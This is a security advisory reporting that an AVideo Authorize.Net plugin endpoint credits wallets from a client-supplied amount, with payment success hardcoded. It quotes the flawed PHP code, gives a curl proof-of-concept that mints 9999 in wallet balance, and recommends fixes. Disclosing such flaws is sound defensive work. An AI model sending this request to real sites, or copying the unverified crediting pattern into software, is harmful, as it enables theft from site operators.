GHSA-9392-pj54-qqf8

### Summary

`plugin/AuthorizeNet/processPayment.json.php` credits the logged-in user's wallet based only on the attacker-controlled `amount` POST parameter.

The endpoint contains a TODO for real Authorize.Net charging, hardcodes `$paymentSuccess = true`, and then calls `YPTWallet::addBalance()` without validating any Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record.

This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the `AuthorizeNet` and `YPTWallet` plugins are enabled.

### Details

Affected file:

`plugin/AuthorizeNet/processPayment.json.php`

Relevant code:

```php $amount = isset($_POST['amount']) ? floatval($_POST['amount']) : 0; $userData = isset($_POST['userData']) ? $_POST['userData'] : [];

if ($amount <= 0) { echo json_encode(['error' => 'Invalid amount']); exit; }

// TODO: Implement payment logic using Authorize.Net API // Example: Call Authorize.Net API here // $result = $plugin->chargePayment($amount, $userData);

// Simulate payment success for now $paymentSuccess = true; $users_id = @User::getId();

if ($paymentSuccess && !empty($users_id)) { $walletPlugin = AVideoPlugin::loadPluginIfEnabled("YPTWallet"); if ($walletPlugin) { $walletPlugin->addBalance($users_id, $amount, 'Authorize.Net one-time payment'); echo json_encode(['success' => true, 'result' => 'Payment processed and wallet updated']); exit; } } ``` Vulnerable flow:

1. `$_POST['amount']` is read from the client. 2. The endpoint only checks that the amount is greater than zero. 3. The real Authorize.Net charge is not performed. 4. `$paymentSuccess` is hardcoded to true. 5. The logged-in user's wallet is credited with the client-supplied amount.

There is no verification of:

- Authorize.Net transaction ID - payment token - webhook signature - pending payment record - expected server-side amount - currency - duplicate transaction/replay state

### PoC

Prerequisites:

- AVideo with AuthorizeNet plugin enabled - YPTWallet plugin enabled - Attacker has any valid user account

Steps:

1. Log in as a low-privileged user. 2. Open the wallet page and record the current balance. 3. Send the following request with the user's authenticated session cookie: ``` curl -i -s -b 'PHPSESSID=<user_session>' \ -X POST 'https://target.example/plugin/AuthorizeNet/processPayment.json.php' \ --data 'amount=9999&userData[note]=poc' ``` 4. The endpoint returns: ``` {"success":true,"result":"Payment processed and wallet updated"} ``` 5. Refresh the wallet page. 6. The wallet balance is increased by 9999.

No Authorize.Net hosted payment page, card payment, transaction confirmation, webhook, or server-side payment validation is required.

### Impact

A normal authenticated user can mint arbitrary wallet balance.

Depending on the target site's configuration, this may allow the attacker to:

- purchase paid videos or subscriptions without payment - abuse any feature backed by YPTWallet - transfer fake funds to other users - manipulate accounting or payout-related workflows - bypass monetization controls

### Recommended fix

- Remove or disable `processPayment.json.php` if it is obsolete. - Never credit wallet balance from client-supplied `amount` alone. - Use the existing Authorize.Net hosted token / webhook / transaction reconciliation flow. - Require a verified Authorize.Net transaction ID and server-side amount lookup before calling `addBalance()`. - Add regression tests proving arbitrary POSTs cannot credit a wallet.